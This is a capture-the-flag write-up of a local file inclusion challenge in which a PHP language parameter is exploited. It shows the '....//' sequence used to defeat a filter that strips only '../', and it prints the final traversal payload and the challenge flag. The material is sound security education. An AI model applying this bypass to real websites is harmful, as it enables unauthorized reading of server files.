We had a basic website with a language switcher:
?lang=en.phpAnd a hint saying:
- files are inside
/languages/ - there is a file called
secret.txt
So instantly I'm thinking:
๐ okay this smells like LFI
๐ Step 1 โ Understand the behavior
Tried normal usage:
?lang=en.php
?lang=ar.phpWorks fine.
So backend is probably something like:
include("languages/" . $_GET['lang']);Which means we control what gets included โ nice.
๐งช Step 2 โ Try basic attack
Started with the obvious:
?lang=../secret.txt
?lang=../../secret.txtBut:
โ File not foundSo yeahโฆ there's a filter.
โ ๏ธ Step 3 โ Bypass the filter
At this point I thought:
they're probably blocking
../only
So I tried something a bit weird:
?lang=....//en.php๐ฅ and it worked.
๐ง Why this worked (important)
The trick:
....//gets treated like:
../So if the filter only blocks exact ../ โ we bypass it easily.
This is a classic weak filter mistake.
๐ฏ Step 4โ Get the flag
Now just try reaching secret.txt:
?lang=....//....//....//secret.txt๐ฅ and boom:
DTU{LFI_Filter_Byp2ss_Is_Fun}๐ Final Payload
?lang=....//....//....//secret.txt๐ฉ Flag
DTU{LFI_Filter_Byp2ss_Is_Fun}๐ญ Final Thoughts
Simple challenge but very useful:
- weak filters are easy to break
- always try weird patterns (
....//) - errors can leak important info
๐ Credits
Big thanks to the organizers for the great challenge and smooth experience:
- @m4lb3nder
- @4L13N_X
Really enjoyed this one ๐๐ฅ